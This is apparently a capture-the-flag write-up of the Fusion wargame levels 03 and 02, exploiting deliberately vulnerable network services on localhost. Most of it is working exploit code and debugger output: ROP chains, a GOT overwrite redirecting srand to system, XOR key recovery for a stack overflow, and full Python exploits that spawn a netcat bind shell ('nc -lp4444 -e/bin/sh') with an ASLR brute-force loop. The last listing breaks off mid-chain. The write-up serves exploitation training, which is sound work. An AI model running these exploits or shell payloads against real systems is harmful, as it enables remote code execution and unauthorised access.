ROPeMe> search add [ %  
Searching for ROP gadget:  add [ % with constraints: []  
0x804ce9bL: add [eax+0x0] al ; add [eax] al ; add [eax] cl ;;  
0x804dd77L: add [eax+eax] ah ;;  
0x804ce9fL: add [eax] al ; add [eax] al ; add [eax] cl ;;  
0x804ceb8L: add [eax] al ; add [eax] al ; xchg esi eax ;;  
0x804cea1L: add [eax] al ; add [eax] cl ;;  
0x8048bcaL: add [eax] al ; add [ebx-0x7f] bl ;;  
0x804a2c2L: add [eax] al ; add [ebx-0x7f] bl ;;  
0x8048bebL: add [eax] al ; add esp 0x8 ; pop ebx ;;  
0x804dd76L: add [eax] al ; and al 0x0 ;;  
0x804cebaL: add [eax] al ; xchg esi eax ;;  
0x804cea3L: add [eax] cl ;;  
0x80493feL: add [ebx+0x5d5b04c4] eax ;;  
0x8049e03L: add [ebx+0x5e] bl ; pop edi ; pop ebp ;;  
0x804964cL: add [ebx+0x5e] bl ; pop edi ;;  
0x8048bccL: add [ebx-0x7f] bl ;;  
0x804a2c4L: add [ebx-0x7f] bl ;;  
0x8049646L: add [ecx+0x230c4] al ; add [ebx+0x5e] bl ; pop edi ;;  
0x804ab3eL: add [edx] ecx ;;  

"add [ebx+0x5d5b04c4] eax" operates with different register so it fits our requirements. The only thing is that the effective address is ebx + offset so we will need to account for that offset when changing the GOT entry. We will also need "pop" gadgets for ebx and eax:

ROPeMe> search pop %  
Searching for ROP gadget:  pop % with constraints: []  
0x8049b4fL: pop eax ; add esp 0x5c ;;  
0x8049207L: pop ebp ;;  
0x8049403L: pop ebp ;;  
0x8049c26L: pop ebp ;;  
0x8049402L: pop ebx ; pop ebp ;;  
0x804a2b7L: pop ebx ; pop ebp ;;  
0x804964dL: pop ebx ; pop esi ; pop edi ;;  
0x8048bf0L: pop ebx ;;  
0x8049a4fL: pop ebx ;;  
0x804a2d4L: pop ebx ;;  
0x8049206L: pop edi ; pop ebp ;;  
0x8049c25L: pop edi ; pop ebp ;;  
0x8049e06L: pop edi ; pop ebp ;;  
0x804964fL: pop edi ;;  
0x8049205L: pop esi ; pop edi ; pop ebp ;;  
0x8049c24L: pop esi ; pop edi ; pop ebp ;;  
0x8049e05L: pop esi ; pop edi ; pop ebp ;;  
0x804964eL: pop esi ; pop edi ;;  
0x8049b52L: pop esp ;;  

We have a "pop eax" followed by a esp increment so we will need to prepare the stack for that, but is feasible and several "pop ebx".

Os so with that we will use the following gadgets to modify the GOT reference:

  • 0x80493feL: add [ebx+0x5d5b04c4] eax ;;
  • 0x8049b4fL: pop eax ; add esp 0x5c ;;
  • 0x8048bf0L: pop ebx ;;

And the ROP chain should be something like:

p += pack("<I", 0x8049b4f)                  # pop eax ; add esp 0x5c  
p += pack("<I", 0x0009b60)                  # system - srand offset  
"A"*0x5c                                  # so that esp points to the following instruction  
p += pack("<I", 0x8048bf0)                  # pop ebx ;;  
p += pack("<I", (0x0804bcd4 - 0x5d5b04c4) & 0xffffffff) # srand entry - offset  
p += pack("<I", 0x80493fe)                  # add [ebx+0x5d5b04c4] eax  

Lets give it a try to verify that we get the GOT properly set:

Breakpoint 3, errx (status=1, format=0x804a37b "Unable to parse request") at err.c:197  
197    err.c: No such file or directory.  
    in err.c

Seems our request is not valid any longer. the \x00 in the (system-srand) offset look the culprit:

Lets use the unicode encoding:

p += pack("<I", 0x8049b4f)                  # pop eax ; add esp 0x5c  
p += "\\\u609b\\\u0000"                     # system - srand offset  
p += "A"*0x5c                                  # so that esp points to the following instruction  
p += pack("<I", 0x8048bf0)                  # pop ebx ;;  
p += pack("<I", (0x0804bcd4 - 0x5d5b04c4) & 0xffffffff) # srand entry - offset  
p += pack("<I", 0x80493fe)                  # add [ebx+0x5d5b04c4] eax  

Now, we successfully overwrite the GOT reference to point to "system":

(gdb) p system
$13 = {<text variable, no debug info>} 0xb754fb20 <__libc_system>
(gdb) x/x 0x0804bcd4
0x804bcd4 <[email protected]>:    0xb754fb20  

Next bit is to execute "system()" with argument "nc -lv4444 -e/bin/sh" and with "exit" as its return address.
We will use the JSON "content" field to hold our system argument:

(gdb) p &gContents
$15 = (unsigned char **) 0x804bdf4

Now we need "exit" PLT entry:

0x8048f80 <[email protected]>  

And of course, "srand" PLT entry:

0x8048c20 <[email protected]>  

This technique is known as return2PLT and we will jump to the address hold in the GOT table which now we control:

(gdb) x/i 0x8048c20
   0x8048c20 <[email protected]>:    jmp    *0x804bcd4
(gdb) x/x 0x804bcd4
0x804bcd4 <[email protected]>:    0xb754fb20  
(gdb) p system
$21 = {<text variable, no debug info>} 0xb754fb20 <__libc_system>

So our exploit now looks like:

p = ""  
p += pack("<I", 0x8049b4f)                               # pop eax ; add esp 0x5c  
p += "\\\u609b\\\u0000"                                  # system - srand offset  
p += "A"*0x5c                                                            # so that esp points to the following instruction  
p += pack("<I", 0x8048bf0)                               # pop ebx ;;  
p += pack("<I", (0x0804bcd4 - 0x5d5b04c4) & 0xffffffff)  
p += pack("<I", 0x80493fe)                               # add [ebx+0x5d5b04c4] eax  
p += pack("<I", 0x8048c20)                               # srand(system) PLT entry address  
p += pack("<I", 0x8048f80)                                 # return address is PLT entry for exit()  
p += pack("<I", 0x804bdf4)                               # argument to system() stored in gContent

cmd = "nc -lp4444 -e/bin/sh"

test_request = '{ "title": "' + "A"*127 + "\\\\u4141" + "A"*31 + p + '", "contents": "' + cmd + '", "tags": ["test1", "test2"], "serverip": "127.0.0.1" }'  

If we run the exploit we can see in gdb:

Breakpoint 1, 0x08048c20 in [email protected] ()  
(gdb) p &gContents
$2 = (unsigned char **) 0x804bdf4
(gdb) x/s &gContents
0x804bdf4 <gContents>:     ""  

So our command is not stored directly in "gContents" that contains the address where our command is stored:

(gdb) x/s *0x804bdf4
0x89dd520:     "nc -lp4444 -e/bin/sh"  

However this address is not always the same:

Breakpoint 1, 0x080493fe in ?? ()  
(gdb) x/s *0x804bdf4
0x89dd528:     "nc -lp4444 -e/bin/sh"  

So I modified the exploit to add a "/" sled in front of the command and point to an address higher than the values I was getting: 0x89dd550

So we will modify the payload:

p = ""  
p += pack("<I", 0x8049b4f)                               # pop eax ; add esp 0x5c  
p += "\\\u609b\\\u0000"                                  # system - srand offset  
p += "A"*0x5c                                                            # so that esp points to the following instruction  
p += pack("<I", 0x8048bf0)                               # pop ebx ;;  
p += pack("<I", (0x0804bcd4 - 0x5d5b04c4) & 0xffffffff)  
p += pack("<I", 0x80493fe)                               # add [ebx+0x5d5b04c4] eax  
p += pack("<I", 0x8048c20)                               # srand(system) PLT entry address  
p += pack("<I", 0x8048f80)                                 # return address is PLT entry for exit()  
p += pack("<I", 0x89dd520)                               # argument to system() stored in gContent

cmd = "//////////////////////////////////bin/nc -lp4444 -e/bin/sh"

test_request = '{ "title": "' + "A"*127 + "\\\\u4141" + "A"*31 + p + '", "contents": "' + cmd + '", "tags": ["test1", "test2"], "serverip": "127.0.0.1" }'  

And now we can try to exploit it:

[email protected]:~$ python fusion03.py  
[+] Getting token
[+] Token: // 127.0.0.1:36122-1388501703-1229195771-453656053-1284067548
[+] Test request: { "contents": "//////////////////////////////////bin/nc -lp4444 -e/bin/sh", "title": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\u4141AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAO\\u609b\\u0000AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA���� �P", "tags": ["test1", "test2"], "serverip": "127.0.0.1" }
[+] Test request MAC: a5794aed31a1a8e94ccd57ab01f152c6790bd55c
[+] Modifying hash till it starts with 0000
[+] New request: { "contents": "//////////////////////////////////bin/nc -lp4444 -e/bin/sh", "title": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\u4141AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAO\\u609b\\u0000AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA���� �P", "tags": ["test1", "test2"], "serverip": "127.0.0.1" , "padding": "229584"}
[+] New MAC: 000060b6cb9276479337793f75580b24049ebab3
[+] Sending test request to server

And in gdb we get:

(gdb) c
Continuing.  
[New process 21509]
process 21509 is executing new program: /bin/bash  
process 21509 is executing new program: /bin/nc6  

So lets check if the shell is waiting for us:

[email protected]:~$ sudo netstat -natp | grep nc  
tcp        0      0 0.0.0.0:4444            0.0.0.0:*               LISTEN      21509/nc  
[email protected]:~$ nc localhost 4444  
id  
uid=20003 gid=20003 groups=20003  

The complete exploit:

#!/usr/bin/python

from socket import *  
from struct import *  
from hashlib import sha1  
import hmac

s = socket(AF_INET, SOCK_STREAM)  
s.connect(("localhost", 20003))  
print("[+] Getting token")  
token = s.recv(1024)  
token = token.strip().strip('"')  
print("[+] Token: " + token)

p = ""  
p += pack("<I", 0x8049b4f)                               # pop eax ; add esp 0x5c  
p += "\\\u609b\\\u0000"                                  # system - srand offset  
p += "A"*0x5c                                                            # so that esp points to the following instruction  
p += pack("<I", 0x8048bf0)                               # pop ebx ;;  
p += pack("<I", (0x0804bcd4 - 0x5d5b04c4) & 0xffffffff)  
p += pack("<I", 0x80493fe)                               # add [ebx+0x5d5b04c4] eax  
p += pack("<I", 0x8048c20)                               # srand(system) PLT entry address  
p += pack("<I", 0x8048f80)                               # return address is PLT entry for exit()  
p += pack("<I", 0x89dd550)                               # argument to system() stored in gContent  
cmd = "//////////////////////////////////bin/nc -lp4444 -e/bin/sh"

test_request = '{ "contents": "' + cmd + '", "title": "' + "A"*127 + "\\\\u4141" + "A"*31 + p + '", "tags": ["test1", "test2"], "serverip": "127.0.0.1" }'

print("[+] Test request: " + test_request)  
mac = hmac.new(token, token + "\n" + test_request, sha1).digest()  
print("[+] Test request MAC: " + mac.encode('hex'))  
print("[+] Modifying hash till it starts with 0000")

i = 0  
new_request = ""  
while True:  
        new_request = test_request[0:-1] + ', "padding": "' + str(i) + '"}'
        hexmac = hmac.new(token, token + "\n" + new_request, sha1).digest().encode("hex")
        if "0000" in hexmac[0:4]:
                break
        i += 1
print("[+] New request: " + new_request)  
print("[+] New MAC: " + hmac.new(token, token + "\n" + new_request, sha1).digest().encode("hex"))  
print("[+] Sending test request to server")  
s.send(token + "\n" + new_request)  
s.close()  

Fusion level02 write-up

Fusion level02

This level has the following protections:

And the code looks like:

#include "../common/common.c"

#define XORSZ 32

void cipher(unsigned char *blah, size_t len)  
{
  static int keyed;
  static unsigned int keybuf[XORSZ];

  int blocks;
  unsigned int *blahi, j;

  if(keyed == 0) {
    int fd;
    fd = open("/dev/urandom", O_RDONLY);
    if(read(fd, &keybuf, sizeof(keybuf)) != sizeof(keybuf)) exit(EXIT_FAILURE);
    close(fd);
    keyed = 1;
  }

  blahi = (unsigned int *)(blah);
  blocks = (len / 4);
  if(len & 3) blocks += 1;

  for(j = 0; j < blocks; j++) {
    blahi[j] ^= keybuf[j % XORSZ];
  }
}

void encrypt_file()  
{
  // http://thedailywtf.com/Articles/Extensible-XML.aspx
  // maybe make bigger for inevitable xml-in-xml-in-xml ?
  unsigned char buffer[32 * 4096];

  unsigned char op;
  size_t sz;
  int loop;

  printf("[-- Enterprise configuration file encryption service --]\n");

  loop = 1;
  while(loop) {
    nread(0, &op, sizeof(op));
    switch(op) {
      case 'E':
        nread(0, &sz, sizeof(sz));
        nread(0, buffer, sz);
        cipher(buffer, sz);
        printf("[-- encryption complete. please mention "
        "474bd3ad-c65b-47ab-b041-602047ab8792 to support "
        "staff to retrieve your file --]\n");
        nwrite(1, &sz, sizeof(sz));
        nwrite(1, buffer, sz);
        break;
      case 'Q':
        loop = 0;
        break;
      default:
        exit(EXIT_FAILURE);
    }
  }

}

int main(int argc, char **argv, char **envp)  
{
  int fd;
  char *p;

  background_process(NAME, UID, GID);
  fd = serve_forever(PORT);
  set_io(fd);

  encrypt_file();
}

Its easy to spot where we can smash the stack since we can read in "buffer" any arbitrary amount of bytes that we specify with "sz" while "buffer" is only 131072 bytes long.
However, before reaching the end of the "encrypt_file" function where we will take control of the instruction pointer, a call to "cipher" is done on the buffer we control and it will cipher its contents, not just the original 131072 bytes but the same number of bytes that we specified in our package with "sz".
The bad news are that the server uses a new key per connection. The good news are that once the connection is opened, the server reuses the same key for following requests over the same socket.
Since the server uses "xor" to cipher our content and then it sends us the ciphertext, we will be able to figure out the key by simply xoring the plaintext and the ciphertext.

So our plan is to open a connection, send a known plaintext, receive the server response and infere the key. Once we know the key, we will try to overwrite EIP. Lets get the ball running:

s = socket(AF_INET, SOCK_STREAM)  
s.connect(("localhost", 20002))

offset = 131072 + 16  
payload = "D"*offset  
op = "E"  
size = pack("<I", len(payload))  
print "Sending payload"  
s.send(op + size + payload)  
s.send("Q")  
s.close()  

We can see our program sigfaulting in a random address as we expected:

(gdb) c
Continuing.  
[New process 8310]

Program received signal SIGSEGV, Segmentation fault.  
[Switching to process 8310]
main (argc=Cannot access memory at address 0xd66003b1  
) at level02/level02.c:74
74    level02/level02.c: No such file or directory.  
    in level02/level02.c

We will need a helper function to xor two strings:

def xor_strings(s1,s2):  
    print("Xoring strings {0}/{1}".format(len(s1),len(s2)))
    array = []
    i = 0
    for c in s1:
            array.append(chr(ord(c) ^ ord(s2[i])))
            i = i +1
    xored = "".join(array)
    return xored

Ok, so our new exploit looks like:

s = socket(AF_INET, SOCK_STREAM)  
s.connect(("localhost", 20002))

offset = 131072 + 512  
payload = "D"*offset  
op = "E"  
size = pack("<I", len(payload))  
print("Sending payload: {0}".format(offset))  
s.send(op + size + payload)  
banner_size = len("[-- Enterprise configuration file encryption service --]\n[-- encryption complete. please mention 474bd3ad-c65b-47ab-b041-602047ab8792 to support staff to retrieve your file --]\n")  
print("Skipping banner: " + str(banner_size))  
print(s.recv(banner_size))  
cipher_size = unpack("<I", s.recv(4))[0]  
ciphertext = ""  
while(len(ciphertext) < cipher_size):  
        ciphertext += s.recv(cipher_size-len(ciphertext))
print("Received a cipher block of {0} bytes ({1})".format(cipher_size, len(ciphertext)))  
print("Decryting key")  
key = xor_strings(payload, ciphertext)  
print("Resending ciphered payload")  
s.send(op + size + xor_strings(payload,key))  
s.send("Q")  
s.close()  

Lets run it:

[email protected]:~$ python fusion02.py  
Sending payload: 131584  
Skipping banner: 177  
[-- Enterprise configuration file encryption service --]
[-- encryption complete. please mention 474bd3ad-c65b-47ab-b041-602047ab8792 to support staff to retrieve your file --]

Received a cipher block of 131584 bytes (131584)  
Decryting key  
Xoring strings 131584/131584  
Resending ciphered payload  
Xoring strings 131584/131584  

And in gdb we can see the application segfaulting at 0x44444444!!!:

(gdb) c
Continuing.  
[New process 8562]

Program received signal SIGSEGV, Segmentation fault.  
[Switching to process 8562]
0x44444444 in ?? ()  

Now we need to find the exact offset where we overwrite the instruction pointer and generate a ROP payload since the stack is NX.

Trying different offsets we find that the right one is 16.

Now we need to generate a ROP chain using libc gadgets since our binary is too small. The exploit will start a netcat listener for us:

[email protected]:~$ ./ROPgadget/ROPgadget /lib/i386-linux-gnu/libc.so.6 -b 4444  
...
...
Unique gadgets found: 76  
This binary depends on shared libraries (you might want to check these):  
    ld-linux.so.2


Possible combinations.  
============================================================

    - 0x0006cc5a => mov DWORD PTR [ecx],eax ; ret
    - 0x000238df => pop eax ; ret
    - 0x00018f4e => pop ebx ; ret
    - 0x000d5c1f => pop edx ; pop ecx ; pop eax ; ret
    - 0x00001a9e => pop edx ; ret
    - 0x000328e0 => xor eax,eax ; ret
    - 0x00026722 => inc eax ; ret
    - .......... => inc %ax
    - .......... => inc %al
    - 0x0002dd35 => int 0x80
    - .......... => sysenter
    - 0x00016cdf => pop ebp ; ret
    - 0x001789c0 => .data Addr
[+] Combo was found!
#!/usr/bin/python
# execve generated by Ropgadget v4.0.3
from struct import pack

p = ''  
# Padding goes here

# This ROP Exploit has been generated for a shared object.
# The addresses of the gadgets will need to be adjusted.
# Set this variable to the offset of the shared library
off = 0x0

p += pack("<I", off + 0x000d5c1f) # pop edx ; pop ecx ; pop eax ; ret  
p += "AAAA" # padding  
p += pack("<I", off + 0x001789c0) # @ .data  
p += "AAAA" # padding  
p += pack("<I", off + 0x000238df) # pop eax ; ret  
p += "/usr" # /usr  
p += pack("<I", off + 0x0006cc5a) # mov DWORD PTR [ecx],eax ; ret  
p += pack("<I", off + 0x000d5c1f) # pop edx ; pop ecx ; pop eax ; ret  
p += "AAAA" # padding  
p += pack("<I", off + 0x001789c4) # @ .data + 4  
p += "AAAA" # padding  
p += pack("<I", off + 0x000238df) # pop eax ; ret  
p += "/bin" # /bin  
p += pack("<I", off + 0x0006cc5a) # mov DWORD PTR [ecx],eax ; ret  
p += pack("<I", off + 0x000d5c1f) # pop edx ; pop ecx ; pop eax ; ret  
p += "AAAA" # padding  
p += pack("<I", off + 0x001789c8) # @ .data + 8  
p += "AAAA" # padding  
p += pack("<I", off + 0x000238df) # pop eax ; ret  
p += "/net" # /net  
p += pack("<I", off + 0x0006cc5a) # mov DWORD PTR [ecx],eax ; ret  
p += pack("<I", off + 0x000d5c1f) # pop edx ; pop ecx ; pop eax ; ret  
p += "AAAA" # padding  
p += pack("<I", off + 0x001789cc) # @ .data + 12  
p += "AAAA" # padding  
p += pack("<I", off + 0x000238df) # pop eax ; ret  
p += "catA" # catA  
p += pack("<I", off + 0x0006cc5a) # mov DWORD PTR [ecx],eax ; ret  
p += pack("<I", off + 0x000d5c1f) # pop edx ; pop ecx ; pop eax ; ret  
p += "AAAA" # padding  
p += pack("<I", off + 0x001789cf) # @ .data + 15  
p += "AAAA" # padding  
p += pack("<I", off + 0x000328e0) # xor eax,eax ; ret  
p += pack("<I", off + 0x0006cc5a) # mov DWORD PTR [ecx],eax ; ret  
p += pack("<I", off + 0x000d5c1f) # pop edx ; pop ecx ; pop eax ; ret  
p += "AAAA" # padding  
p += pack("<I", off + 0x001789d0) # @ .data + 16  
p += "AAAA" # padding  
p += pack("<I", off + 0x000238df) # pop eax ; ret  
p += "-ltp" # -ltp  
p += pack("<I", off + 0x0006cc5a) # mov DWORD PTR [ecx],eax ; ret  
p += pack("<I", off + 0x000d5c1f) # pop edx ; pop ecx ; pop eax ; ret  
p += "AAAA" # padding  
p += pack("<I", off + 0x001789d4) # @ .data + 20  
p += "AAAA" # padding  
p += pack("<I", off + 0x000238df) # pop eax ; ret  
p += "4444" # 4444  
p += pack("<I", off + 0x0006cc5a) # mov DWORD PTR [ecx],eax ; ret  
p += pack("<I", off + 0x000d5c1f) # pop edx ; pop ecx ; pop eax ; ret  
p += "AAAA" # padding  
p += pack("<I", off + 0x001789d8) # @ .data + 24  
p += "AAAA" # padding  
p += pack("<I", off + 0x000328e0) # xor eax,eax ; ret  
p += pack("<I", off + 0x0006cc5a) # mov DWORD PTR [ecx],eax ; ret  
p += pack("<I", off + 0x000d5c1f) # pop edx ; pop ecx ; pop eax ; ret  
p += "AAAA" # padding  
p += pack("<I", off + 0x001789d9) # @ .data + 25  
p += "AAAA" # padding  
p += pack("<I", off + 0x000238df) # pop eax ; ret  
p += "-e/b" # -e/b  
p += pack("<I", off + 0x0006cc5a) # mov DWORD PTR [ecx],eax ; ret  
p += pack("<I", off + 0x000d5c1f) # pop edx ; pop ecx ; pop eax ; ret  
p += "AAAA" # padding  
p += pack("<I", off + 0x001789dd) # @ .data + 29  
p += "AAAA" # padding  
p += pack("<I", off + 0x000238df) # pop eax ; ret  
p += "in/s" # in/s  
p += pack("<I", off + 0x0006cc5a) # mov DWORD PTR [ecx],eax ; ret  
p += pack("<I", off + 0x000d5c1f) # pop edx ; pop ecx ; pop eax ; ret  
p += "AAAA" # padding  
p += pack("<I", off + 0x001789e1) # @ .data + 33  
p += "AAAA" # padding  
p += pack("<I", off + 0x000238df) # pop eax ; ret  
p += "hAAA" # hAAA  
p += pack("<I", off + 0x0006cc5a) # mov DWORD PTR [ecx],eax ; ret  
p += pack("<I", off + 0x000d5c1f) # pop edx ; pop ecx ; pop eax ; ret  
p += "AAAA" # padding  
p += pack("<I", off + 0x001789e2) # @ .data + 34  
p += "AAAA" # padding  
p += pack("<I", off + 0x000328e0) # xor eax,eax ; ret  
p += pack("<I", off + 0x0006cc5a) # mov DWORD PTR [ecx],eax ; ret  
p += pack("<I", off + 0x000d5c1f) # pop edx ; pop ecx ; pop eax ; ret  
p += "AAAA" # padding  
p += pack("<I", off + 0x001789e3) # @ .data + 35  
p += "AAAA" # padding  
p += pack("<I", off + 0x000238df) # pop eax ; ret  
p += pack("<I", off + 0x001789c0) # @ .data  
p += pack("<I", off + 0x0006cc5a) # mov DWORD PTR [ecx],eax ; ret  
p += pack("<I", off + 0x000d5c1f) # pop edx ; pop ecx ; pop eax ; ret  
p += "AAAA" # padding  
p += pack("<I", off + 0x001789e7) # @ .data + 39  
p += "AAAA" # padding  
p += pack("<I", off + 0x000238df) # pop eax ; ret  
p += pack("<I", off + 0x001789d0) # @ .data + 16  
p += pack("<I", off + 0x0006cc5a) # mov DWORD PTR [ecx],eax ; ret  
p += pack("<I", off + 0x000d5c1f) # pop edx ; pop ecx ; pop eax ; ret  
p += "AAAA" # padding  
p += pack("<I", off + 0x001789eb) # @ .data + 43  
p += "AAAA" # padding  
p += pack("<I", off + 0x000238df) # pop eax ; ret  
p += pack("<I", off + 0x001789d9) # @ .data + 25  
p += pack("<I", off + 0x0006cc5a) # mov DWORD PTR [ecx],eax ; ret  
p += pack("<I", off + 0x000d5c1f) # pop edx ; pop ecx ; pop eax ; ret  
p += "AAAA" # padding  
p += pack("<I", off + 0x001789ef) # @ .data + 47  
p += "AAAA" # padding  
p += pack("<I", off + 0x000328e0) # xor eax,eax ; ret  
p += pack("<I", off + 0x0006cc5a) # mov DWORD PTR [ecx],eax ; ret  
p += pack("<I", off + 0x00018f4e) # pop ebx ; ret  
p += pack("<I", off + 0x001789c0) # @ .data  
p += pack("<I", off + 0x000d5c1f) # pop edx ; pop ecx ; pop eax ; ret  
p += "AAAA" # padding  
p += pack("<I", off + 0x001789e3) # @ .data + 35  
p += "AAAA" # padding  
p += pack("<I", off + 0x00001a9e) # pop edx ; ret  
p += pack("<I", off + 0x001789ef) # @ .data + 47  
p += pack("<I", off + 0x000328e0) # xor eax,eax ; ret  
p += pack("<I", off + 0x00026722) # inc eax ; ret  
p += pack("<I", off + 0x00026722) # inc eax ; ret  
p += pack("<I", off + 0x00026722) # inc eax ; ret  
p += pack("<I", off + 0x00026722) # inc eax ; ret  
p += pack("<I", off + 0x00026722) # inc eax ; ret  
p += pack("<I", off + 0x00026722) # inc eax ; ret  
p += pack("<I", off + 0x00026722) # inc eax ; ret  
p += pack("<I", off + 0x00026722) # inc eax ; ret  
p += pack("<I", off + 0x00026722) # inc eax ; ret  
p += pack("<I", off + 0x00026722) # inc eax ; ret  
p += pack("<I", off + 0x00026722) # inc eax ; ret  
p += pack("<I", off + 0x0002dd35) # int 0x80  
print p  

If we run our exploit with the ROP payload we get the following segmentation fault:

Program received signal SIGSEGV, Segmentation fault.  
0x00000000 in ?? ()  

Here I spent a lot of time debugging the ROP payload. The basics were ok. The ROP chain copies some strings in memory and then it sets the registers to call "execve" syscall. I set up a breakpoint just before the "int 80" opcode and check that everything was ok but I wasnt getting the netcat listener. After some time I realize how stupid I was. The auto generated chain was invoking:

/usr/bin/netcat -ltp4444 -e/bin/sh

The netcat version available in my machine was: "/bin/nc"

In addition "-t" was not a valid argument. Since I didnt want to generate another chain (since I already debug that one and was pretty sure it was ok) I just changed the strings to invoke:

/////bin/////nc -lnp4444 -e/bin/sh

For the first exploit version I just cheated and got the libc base from /proc//maps but for the final version I added a bruteforce loop since the randomization is very weak and it only affect 12 bits.

The final exploit was:

#!/usr/bin/python

from socket import *  
from struct import *

def xor_strings(s1,s2):  
        #print("Xoring strings {0}/{1}".format(len(s1),len(s2)))
        array = []
        i = 0
        for c in s1:
                array.append(chr(ord(c) ^ ord(s2[i])))
                i = i +1
        xored = "".join(array)
        return xored

for off in range(0xb7000000, 0xb8000000, 0x1000):  
        p = ''

        # This ROP Exploit has been generated for a shared object.
        # The addresses of the gadgets will need to be adjusted.
        # Set this variable to the offset of the shared library
        #off = 0xb7623000  # First version libc base
        p += pack("<I", off + 0x000d5c1f) # pop edx ; pop ecx ; pop eax ; ret
        p += "AAAA" # padding
        p += pack("<I", off + 0x001789c0) # @ .data
        p += "AAAA" # padding
        p += pack("<I", off + 0x000238df) # pop eax ; ret
        p += "////" # /usr
        p += pack("<I", off + 0x0006cc5a) # mov DWORD PTR [ecx],eax ; ret
        p += pack("<I", off + 0x000d5c1f) # pop edx ; pop ecx ; pop eax ; ret
        p += "AAAA" # padding
        p += pack("<I", off + 0x001789c4) # @ .data + 4
        p += "AAAA" # padding
        p += pack("<I", off + 0x000238df) # pop eax ; ret
        p += "/bin" # /bin
        p += pack("<I", off + 0x0006cc5a) # mov DWORD PTR [ecx],eax ; ret
        p += pack("<I", off + 0x000d5c1f) # pop edx ; pop ecx ; pop eax ; ret
        p += "AAAA" # padding
        p += pack("<I", off + 0x001789c8) # @ .data + 8
        p += "AAAA" # padding
        p += pack("<I", off + 0x000238df) # pop eax ; ret
        p += "////" # /net
        p += pack("<I", off + 0x0006cc5a) # mov DWORD PTR [ecx],eax ; ret
        p += pack("<I", off + 0x000d5c1f) # pop edx ; pop ecx ; pop eax ; ret
        p += "AAAA" # padding
        p += pack("<I", off + 0x001789cc) # @ .data + 12
        p += "AAAA" # padding
        p += pack("<I", off + 0x000238df) # pop eax ; ret
        p += "/ncA" # catA
        p += pack("<I", off + 0x0006cc5a) # mov DWORD PTR [ecx],eax ; ret
        p += pack("<I", off + 0x000d5c1f) # pop edx ; pop ecx ; pop eax ; ret
        p += "AAAA" # padding
        p += pack("<I", off + 0x001789cf) # @ .data + 15
        p += "AAAA" # padding
        p += pack("<I", off + 0x000328e0) # xor eax,eax ; ret
        p += pack("<I", off + 0x0006cc5a) # mov DWORD PTR [ecx],eax ; ret
        p += pack("<I", off + 0x000d5c1f) # pop edx ; pop ecx ; pop eax ; ret
        p += "AAAA" # padding
        p += pack("<I", off + 0x001789d0) # @ .data + 16
        p += "AAAA" # padding
        p += pack("<I", off + 0x000238df) # pop eax ; ret
        p += "-lnp" # -lnp
        p += pack("<I", off + 0x0006cc5a) # mov DWORD PTR [ecx],eax ; ret
        p += pack("<I", off + 0x000d5c1f) # pop edx ; pop ecx ; pop eax ; ret
        p += "AAAA" # padding
        p += pack("<I", off + 0x001789d4) # @ .data + 20
        p += "AAAA" # padding
        p += pack("<I", off + 0x000238df) # pop eax ; ret
        p += "4444" # 4444
        p += pack("<I", off + 0x0006cc5a) # mov DWORD PTR [ecx],eax ; ret
        p += pack("<I", off + 0x000d5c1f) # pop edx ; pop ecx ; pop eax ; ret
        p += "AAAA" # padding
        p += pack("<I", off + 0x001789d8) # @ .data + 24
        p += "AAAA" # padding
        p += pack("<I", off + 0x000328e0) # xor eax,eax ; ret
        p += pack("<I", off + 0x0006cc5a) # mov DWORD PTR [ecx],eax ; ret
        p += pack("<I", off + 0x000d5c1f) # pop edx ; pop ecx ; pop eax ; ret
        p += "AAAA" # padding
        p += pack("<I", off + 0x001789d9) # @ .data + 25
        p += "AAAA" # padding
        p += pack("<I", off + 0x000238df) # pop eax ; ret
        p += "-e/b" # -e/b
        p += pack("<I", off + 0x0006cc5a) # mov DWORD PTR [ecx],eax ; ret
        p += pack("<I", off + 0x000d5c1f) # pop edx ; pop ecx ; pop eax ; ret
        p += "AAAA" # padding
        p += pack("<I", off + 0x001789dd) # @ .data + 29
        p += "AAAA" # padding
        p += pack("<I", off + 0x000238df) # pop eax ; ret
        p += "in/s" # in/s
        p += pack("<I", off + 0x0006cc5a) # mov DWORD PTR [ecx],eax ; ret
        p += pack("<I", off + 0x000d5c1f) # pop edx ; pop ecx ; pop eax ; ret
        p += "AAAA" # padding
        p += pack("<I", off + 0x001789e1) # @ .data + 33
        p += "AAAA" # padding
        p += pack("<I", off + 0x000238df) # pop eax ; ret
        p += "hAAA" # hAAA
        p += pack("<I", off + 0x0006cc5a) # mov DWORD PTR [ecx],eax ; ret
        p += pack("<I", off + 0x000d5c1f) # pop edx ; pop ecx ; pop eax ; ret
        p += "AAAA" # padding
        p += pack("<I", off + 0x001789e2) # @ .data + 34
        p += "AAAA" # padding
        p += pack("<I", off + 0x000328e0) # xor eax,eax ; ret
        p += pack("<I", off + 0x0006cc5a) # mov DWORD PTR [ecx],eax ; ret
        # hasta aqui:
        #(gdb) x/3s 0xb75e1000 + 0x001789c0
        #0xb77599c0 <map>:       "/usr/bin/netcat"
        #0xb77599d0 <buf>:       "-ltp4444"
        #0xb77599d9 <buffer+1>:  "-e/bin/sh"
        # 73
        p += pack("<I", off + 0x000d5c1f) # pop edx ; pop ecx ; pop eax ; ret
        p += "AAAA" # padding
        p += pack("<I", off + 0x001789e3) # @ .data + 35
        p += "AAAA" # padding
        # ecx -> .data despues de ultimo argumento
        p += pack("<I", off + 0x000238df) # pop eax ; ret
        p += pack("<I", off + 0x001789c0) # @ .data
        # eax -> cadena comanddo
        p += pack("<I", off + 0x0006cc5a) # mov DWORD PTR [ecx],eax ; ret
        # mete la direccion del comando en data + 35
        p += pack("<I", off + 0x000d5c1f) # pop edx ; pop ecx ; pop eax ; ret
